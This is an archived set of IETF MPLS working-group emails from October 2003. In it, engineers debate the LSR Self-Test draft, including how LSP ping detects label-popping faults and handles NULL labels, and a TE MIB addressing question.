Received: from zcars04f.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars04f.nortelnetworks.com [47.129.242.57])
	id QQpisg06930
	for <mpls@UU.NET>; Thu, 2 Oct 2003 20:30:30 GMT
Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69])
	by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h92KUI504205;
	Thu, 2 Oct 2003 16:30:18 -0400 (EDT)
Received: by zcard309.ca.nortel.com with Internet Mail Service (5.5.2653.19)
	id <T9H2N8N0>; Thu, 2 Oct 2003 16:30:18 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925C6@zcard031.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: "'George Swallow'" <swallow@cisco.com>
Cc: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>,
        Alex Zinin
	 <zinin@PSG.COM>
Subject: RE: LSR Self test in Charter 
Date: Thu, 2 Oct 2003 16:30:14 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

OK, consider me late to the party. If there is resolution to the technical
question I raised, I'll abstain, otherwise consider me a naysayer.

Dave

> -----Original Message-----
> From: George Swallow [mailto:swallow@cisco.com] 
> Sent: Thursday, October 02, 2003 4:18 PM
> To: Allan, David [CAR:NS00:EXCH]
> Cc: 'Loa Andersson'; mpls wg; George Swallow; Alex Zinin; 
> swallow@cisco.com
> Subject: Re: LSR Self test in Charter 
> 
> 
> Dave -
> 
> There was strong interest expressed in the room in Vienna.  
> Due to that, Loa only asked for nay sayers to speak up.  No 
> one objected.  
> 
> I've attached the original message.
> 
> ...George
> 
> ==============================================================
> ==========
> George Swallow             Cisco Systems                  
> (978) 936-1398
>                            1414 Massachusetts Avenue
>                            Boxborough, MA 01719
> 
> Date: Thu, 17 Jul 2003 11:14:46 +0200
> From: Loa Andersson <loa@pi.se>
> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) 
> Gecko/20020605
> X-Accept-Language: en-us, en
> MIME-Version: 1.0
> To: MPLS WG <mpls@UU.NET>, George Swallow <swallow@cisco.com>,
>         Alex Zinin
>  <zinin@psg.com>
> Subject: draft-swallow-mpls-lsr-self-test-01.txt, to wg draft
> Content-Type: text/plain; charset=us-ascii; format=flowed
> Content-Transfer-Encoding: 7bit
> 
> Working Group,
> 
> 
> at the Vienna MPLS WG meeting the
> 
>      Label Switched Router Self-Test
>      <draft-swallow-mpls-lsr-self-test-01.txt>
> 
> was discussed. There were support for making it a wg draft.
> We will go ahead and do so shortly, this is a chance you who 
> were not in the meeting (or did not speak up) to comment on this.
> 
> 
> -- 
> /Loa
> 
> mobile + 46 739 81 21 64
> email: loa@pi.se
> 
> 


From owner-mpls@UU.NET  Thu Oct  2 17:28:16 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA26434
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 17:28:16 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisj06298
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 21:28:24 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpisj06267;
	Thu, 2 Oct 2003 21:28:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpisi17280
	for mpls-outgoing; Thu, 2 Oct 2003 21:06:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpisi17243
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 21:06:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpisi05742
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:05:44 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisi15190
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:05:43 GMT
Received: from sj-iport-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpisi15179
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:05:43 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-2.cisco.com with ESMTP; 02 Oct 2003 14:05:44 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h92L5d5g009414
	for <mpls@uu.net>; Thu, 2 Oct 2003 17:05:40 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW03386;
	Thu, 2 Oct 2003 17:05:39 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h92L5d027156 for mpls@uu.net; Thu, 2 Oct 2003 17:05:39 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpisi13205
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 21:03:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpisi04058
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:00:34 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisi02510
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:00:33 GMT
Received: from sj-iport-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpisi02466
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:00:32 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h92L0Qwp021609;
	Thu, 2 Oct 2003 14:00:29 -0700 (PDT)
Received: from bifocal.cisco.com (bifocal.cisco.com [161.44.172.150])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW02905;
	Thu, 2 Oct 2003 17:00:25 -0400 (EDT)
Received: from localhost (swallow@localhost) by bifocal.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id RAA28603; Thu, 2 Oct 2003 17:00:25 -0400 (EDT)
Message-Id: <200310022100.RAA28603@bifocal.cisco.com>
X-Authentication-Warning: bifocal.cisco.com: swallow owned process doing -bs
To: "David Allan" <dallan@nortelnetworks.com>
cc: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>,
        George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>,
        swallow@cisco.com
Subject: Re: LSR Self test in Charter 
In-reply-to: Your message of "Thu, 02 Oct 2003 15:16:28 EDT."
             <FFFC48AEAA5F7447929F4F0D93FCC12D02B925C2@zcard031.ca.nortel.com> 
Date: Thu, 02 Oct 2003 17:00:25 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Dave -

> ......So I'll ask a simple technical question to try and spark some
> discussion after the fact. If I have an LSR popping the stack in error, I
> suspect this will not be detected by an LSR testing itself. As PHP is
> considered acceptable behavior, the downstream LSR would NOT observe that
> the PING packet on which TTL expired did not arrive as a labelled packet, it
> simply looks at the FEC TLV and goes ***OK, it looks reasonable***. There is
> no guarantee that the LSR downstream of the defective pop would catch this
> either via its use of LSR self test mechanisms as the path into the
> defective LSR is assuredly different than that of real traffic.
> 
> IMHO if my LSRs are generating a ping transaction for every ILM entry in my
> network (which is a s***load of a lot of pings no matter how slowly I run
> this stuff), am I really accomplishing anything if discontinuties in the
> label switched path cannot be detected by this mechanism? 


Excellent point you raise.  One that I've been worried about.  I've
sent some new procedures and error conditions to my co-authors on
lsp-ping.  One change that I have requested is is that you must check
whether the protocol that would have distributed the FEC you have is
actually associated with the interface that you received the packet
on.  And that that protocol distributed a label (including NULL) for
that FEC.  Note, I say associated since and LDP session can pertain to
multiple interfaces and BGP can pertain to all core facing interfaces.

Another change, intended to help diagnose the problem, is that when
you do a trace with a Downstream Mapping TLV, you MUST include null
labels in the stack. That way, if you reach the PHP router and it is
doing a PoP and forward because it is the end of the LSP (got no label
from it's neighbor) it will send back an empty stack, whereas if it
was appending an implicit NULL label (still a PHP) it would send back
a stack with just the null label as the first entry.

...George

========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719



From owner-mpls@UU.NET  Thu Oct  2 17:55:59 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27198
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 17:55:58 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisl10972
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 21:56:06 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpisl10868;
	Thu, 2 Oct 2003 21:56:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpisk20547
	for mpls-outgoing; Thu, 2 Oct 2003 21:33:23 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpisk20542
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 21:33:21 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpisj25969
	for <mpls@UU.NET>; Thu, 2 Oct 2003 21:27:58 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisj29840
	for <mpls@UU.NET>; Thu, 2 Oct 2003 21:27:57 GMT
Received: from zcars04f.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars04f.nortelnetworks.com [47.129.242.57])
	id QQpisj29360
	for <mpls@UU.NET>; Thu, 2 Oct 2003 21:27:30 GMT
Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69])
	by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h92LRD512923;
	Thu, 2 Oct 2003 17:27:13 -0400 (EDT)
Received: by zcard309.ca.nortel.com with Internet Mail Service (5.5.2653.19)
	id <T9H2N9KS>; Thu, 2 Oct 2003 17:27:13 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CA@zcard031.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: "'George Swallow'" <swallow@cisco.com>
Cc: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>,
        Alex Zinin
	 <zinin@PSG.COM>
Subject: RE: LSR Self test in Charter 
Date: Thu, 2 Oct 2003 17:27:11 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi George:

> <snipped>
> 
> 
> Excellent point you raise.  One that I've been worried about. 

OK

>  I've sent some new procedures and error conditions to my 
> co-authors on lsp-ping.  One change that I have requested is 
> is that you must check whether the protocol that would have 
> distributed the FEC you have is actually associated with the 
> interface that you received the packet on.  

OK , that will catch a discontinuity when you've neglected to configure LDP
on a link and its a direct adjacency. That's one scenario.... 

> And that that 
> protocol distributed a label (including NULL) for that FEC.  

So we're inferring correctness here. If I got a ping on an interface, and
there is a control adjacency that handed out a FEC label binding on that
interface and the FEC seems legit, then everything must be OK? 

IMHO only an e2e ping that uses the 127/8 can actually catch a real problem
when the unroutable packet comes up for air and the receiving LSR trys to
forward it further...

> Note, I say associated since and LDP session can pertain to 
> multiple interfaces and BGP can pertain to all core facing interfaces.

Are you envisioning self test for CSC...? 

> 
> Another change, intended to help diagnose the problem, is 
> that when you do a trace with a Downstream Mapping TLV, you 
> MUST include null labels in the stack. That way, if you reach 
> the PHP router and it is doing a PoP and forward because it 
> is the end of the LSP (got no label from it's neighbor) it 
> will send back an empty stack, whereas if it was appending an 
> implicit NULL label (still a PHP) it would send back a stack 
> with just the null label as the first entry.

Did you mean "appending an explicit NULL (still a PHP)"?

rgds
Dave

>


From owner-mpls@UU.NET  Thu Oct  2 18:36:43 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29381
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 18:36:42 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiso25771
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 22:36:51 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpiso25719;
	Thu, 2 Oct 2003 22:36:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpism13200
	for mpls-outgoing; Thu, 2 Oct 2003 22:14:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpism13195
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 22:14:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpism25664
	for <mpls@uu.net>; Thu, 2 Oct 2003 22:04:57 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpism20346
	for <mpls@uu.net>; Thu, 2 Oct 2003 22:04:57 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpism20310
	for <mpls@uu.net>; Thu, 2 Oct 2003 22:04:55 GMT
Received: from cisco.com (171.68.223.137)
  by sj-iport-3.cisco.com with ESMTP; 02 Oct 2003 15:10:39 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.6/8.12.6) with ESMTP id h92M4qYb026821
	for <mpls@uu.net>; Thu, 2 Oct 2003 15:04:53 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW08667;
	Thu, 2 Oct 2003 18:04:51 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h92M4pW01113 for mpls@uu.net; Thu, 2 Oct 2003 18:04:51 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpism03763
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 22:03:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpisl19523
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:57:23 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisl12137
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:57:22 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpisl12131
	for <mpls@uu.net>; Thu, 2 Oct 2003 21:57:22 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h92LvHJu024759;
	Thu, 2 Oct 2003 14:57:20 -0700 (PDT)
Received: from bifocal.cisco.com (bifocal.cisco.com [161.44.172.150])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW08109;
	Thu, 2 Oct 2003 17:57:16 -0400 (EDT)
Received: from localhost (swallow@localhost) by bifocal.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id RAA29146; Thu, 2 Oct 2003 17:57:16 -0400 (EDT)
Message-Id: <200310022157.RAA29146@bifocal.cisco.com>
X-Authentication-Warning: bifocal.cisco.com: swallow owned process doing -bs
To: "David Allan" <dallan@nortelnetworks.com>
cc: "'George Swallow'" <swallow@cisco.com>, "'Loa Andersson'" <loa@pi.se>,
        mpls wg <mpls@UU.NET>, Alex Zinin <zinin@PSG.COM>, swallow@cisco.com
Subject: Re: LSR Self test in Charter 
In-reply-to: Your message of "Thu, 02 Oct 2003 17:27:11 EDT."
             <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CA@zcard031.ca.nortel.com> 
Date: Thu, 02 Oct 2003 17:57:16 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Dave -

> Hi George:
> 
> > <snipped>
> > 
> > 
> > Excellent point you raise.  One that I've been worried about. 
> 
> OK
> 
> >  I've sent some new procedures and error conditions to my 
> > co-authors on lsp-ping.  One change that I have requested is 
> > is that you must check whether the protocol that would have 
> > distributed the FEC you have is actually associated with the 
> > interface that you received the packet on.  
> 
> OK , that will catch a discontinuity when you've neglected to configure LDP
> on a link and its a direct adjacency. That's one scenario.... 
> 
> > And that that 
> > protocol distributed a label (including NULL) for that FEC.  
> 
> So we're inferring correctness here. If I got a ping on an interface, and
> there is a control adjacency that handed out a FEC label binding on that
> interface and the FEC seems legit, then everything must be OK? 

No, if the packet arrives unlabeled then you necessarily had to have
given out an explicit null label for that FEC.  

> IMHO only an e2e ping that uses the 127/8 can actually catch a real problem
> when the unroutable packet comes up for air and the receiving LSR trys to
> forward it further...
> 
> > Note, I say associated since and LDP session can pertain to 
> > multiple interfaces and BGP can pertain to all core facing interfaces.
> 
> Are you envisioning self test for CSC...? 

The reference to BGP was just for VPNs.  I haven't given a lot of
thought to CSC yet.

> > 
> > Another change, intended to help diagnose the problem, is 
> > that when you do a trace with a Downstream Mapping TLV, you 
> > MUST include null labels in the stack. That way, if you reach 
> > the PHP router and it is doing a PoP and forward because it 
> > is the end of the LSP (got no label from it's neighbor) it 
> > will send back an empty stack, whereas if it was appending an 
> > implicit NULL label (still a PHP) it would send back a stack 
> > with just the null label as the first entry.
> 
> Did you mean "appending an explicit NULL (still a PHP)"?

No, I meant that you're neighbor gave you an implicit null label so
that instead of your normal swap operation of remove and replace the
top label, you just remove the label.

Cheers,

...George


========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719



From owner-mpls@UU.NET  Thu Oct  2 23:55:32 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA07727
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 23:55:32 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpimx07741
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 09:58:10 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpimx07604;
	Wed, 1 Oct 2003 09:58:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpimw28501
	for mpls-outgoing; Wed, 1 Oct 2003 09:34:43 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpimw28494
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 09:34:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpimw14103
	for <mpls@UU.NET>; Wed, 1 Oct 2003 09:34:25 GMT
From: neil.2.harrison@bt.com
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpimw11770
	for <mpls@UU.NET>; Wed, 1 Oct 2003 09:34:24 GMT
Received: from cbibipnt05.hc.bt.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: saturn.bt.com [193.113.57.20])
	id QQpimw11745
	for <mpls@UU.NET>; Wed, 1 Oct 2003 09:34:23 GMT
Received: by cbibipnt05.hc.bt.com with Internet Mail Service (5.5.2654.89)
	id <T9FQVNT2>; Wed, 1 Oct 2003 10:34:23 +0100
Message-ID: <0536FC9B908BEC4597EE721BE6A3538904EF2BD3@i2km07-ukbr.domain1.systemhost.net>
To: bwijnen@lucent.com, mpls@UU.NET
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 10:34:15 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.89)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Bert Wijnen wrote 01 October 2003 09:30
> 
> > >> >> 	The reason why the multiple fields
> > >> >> were left in place was because someone (Arun
> > >> >> I think) pointed out that you may want to
> > >> >> specify a hop address AND an AS number for
> > >> >> the case where you want to get to a specific
> > >> >> AS *through* a specific HOP.
> > >> >> 
> > >> >
> > >> >a TeHopAddress can contain an AS number.
> > >> >So if you have a separate field for AS number what would then
> > >> >be in the TeHopAddress??? And why would you need two addesses
> > >> >to get to one place? SOrry I am confused here
> > >> 
> > >> 	Because a hop can be identified by BOTH an
> > >> AS number and an IP address. Suppose you want to
> > >> choose an AS via a particular interface on an
> > >> LSR?
> > >> 
> > >And an IP address on another interface?
> > >Maybe that would mean two entries in the table??
> > 
> > 	Perhaps, but the example that was given
> > for needing both was the one I gave above. No
> > one has asked for what you suppose above.
> > 
> 
> Tom, maybe you can be a bit more elaborate (and not assume that we
> are all MPLS and TE Tunneling experts). PLEASE explain how a system
> would use an entry that has both an AS number and another TeHopAddress
> in an entry in the table. 
> 
> And if you feel that two columns are needed, then I would ask, why not
> 3 columns or maybe 4 columns. If you claim that one entry needs to
> identify the next TeHop with both an IP address AND a AS number,
> would one never want to be able to identify it by 
> IP address (maybe an IPv4 AND and IPv6 address?), ASnumber, 
> unnumbered, lspid ??? In other words, why do you have an arbitrary
> set there.
> 
> Even if you did want it to be identifyable by 2 or 3 address types,
> then I would create multiple "discriminated unions" by having multiple
> pairs of TeHopAddressType/TeHopAddress columns.
> 
> Bert

NH=> Don't all MPLS tunnels need a globally unique address which is
independent of how they are instantiated?

regards, Neil


From owner-mpls@UU.NET  Fri Oct  3 09:54:10 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07055
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 09:54:09 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiux09334
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 13:54:16 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpiux09154;
	Fri, 3 Oct 2003 13:54:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpiuw23858
	for mpls-outgoing; Fri, 3 Oct 2003 13:32:59 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpiuw23853
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 13:32:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpiuv26734
	for <mpls@UU.NET>; Fri, 3 Oct 2003 13:25:53 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiuv28577
	for <mpls@UU.NET>; Fri, 3 Oct 2003 13:25:52 GMT
Received: from zrtps06s.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zrtps06s.nortelnetworks.com [47.140.48.50])
	id QQpiuv28567
	for <mpls@UU.NET>; Fri, 3 Oct 2003 13:25:52 GMT
Received: from zrtpd0jn.us.nortel.com (zrtpd0jn.us.nortel.com [47.140.202.35])
	by zrtps06s.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h93DMQ109506;
	Fri, 3 Oct 2003 09:22:27 -0400 (EDT)
Received: from zrtpd0jh.us.nortel.com ([47.140.202.34]) by zrtpd0jn.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id T9HC3HZ1; Fri, 3 Oct 2003 09:22:27 -0400
Received: by zrtpd0jh.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <41VAX8TC>; Fri, 3 Oct 2003 09:22:27 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CD@zcard031.ca.nortel.com>
X-Sybari-Space: 00000000 00000000 00000000 00000000
From: "David Allan" <dallan@nortelnetworks.com>
To: "'George Swallow'" <swallow@cisco.com>
Cc: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>,
        Alex Zinin
	 <zinin@PSG.COM>
Subject: RE: LSR Self test in Charter 
Date: Fri, 3 Oct 2003 09:22:18 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi George:

> > So we're inferring correctness here. If I got a ping on an 
> interface, 
> > and there is a control adjacency that handed out a FEC 
> label binding 
> > on that interface and the FEC seems legit, then everything 
> must be OK?
> 
> No, if the packet arrives unlabeled then you necessarily had 
> to have given out an explicit null label for that FEC.  

Seems to me there are a lot of potential reasons for an unlabelled packet
turning up at the downstream LSR besides the downstream LSR offering
implicit NULL.

> 
> > IMHO only an e2e ping that uses the 127/8 can actually catch a real 
> > problem when the unroutable packet comes up for air and the 
> receiving 
> > LSR trys to forward it further...
> > 
> > > Note, I say associated since and LDP session can pertain to
> > > multiple interfaces and BGP can pertain to all core 
> facing interfaces.
> > 
> > Are you envisioning self test for CSC...?
> 
> The reference to BGP was just for VPNs.  I haven't given a 
> lot of thought to CSC yet.

 I have to admit I have trouble envisioning applicability to other than LDP
or RSVP.

> 
> > > 
> > > Another change, intended to help diagnose the problem, is
> > > that when you do a trace with a Downstream Mapping TLV, you 
> > > MUST include null labels in the stack. That way, if you reach 
> > > the PHP router and it is doing a PoP and forward because it 
> > > is the end of the LSP (got no label from it's neighbor) it 
> > > will send back an empty stack, whereas if it was appending an 
> > > implicit NULL label (still a PHP) it would send back a stack 
> > > with just the null label as the first entry.
> > 
> > Did you mean "appending an explicit NULL (still a PHP)"?
> 
> No, I meant that you're neighbor gave you an implicit null 
> label so that instead of your normal swap operation of remove 
> and replace the top label, you just remove the label.

I get the feeling we're crossing up explicit and implicit NULLs in this
dialog. my understanding is that implicit null would never appear in the
dataplane. Your reference above to appending an implicit NULL to the stack
runs counter to my understanding.

rgds
Dave

> 
> Cheers,
> 
> ...George
> 
> 
> ==============================================================
> ==========
> George Swallow             Cisco Systems                  
> (978) 936-1398
>                            1414 Massachusetts Avenue
>                            Boxborough, MA 01719
> 
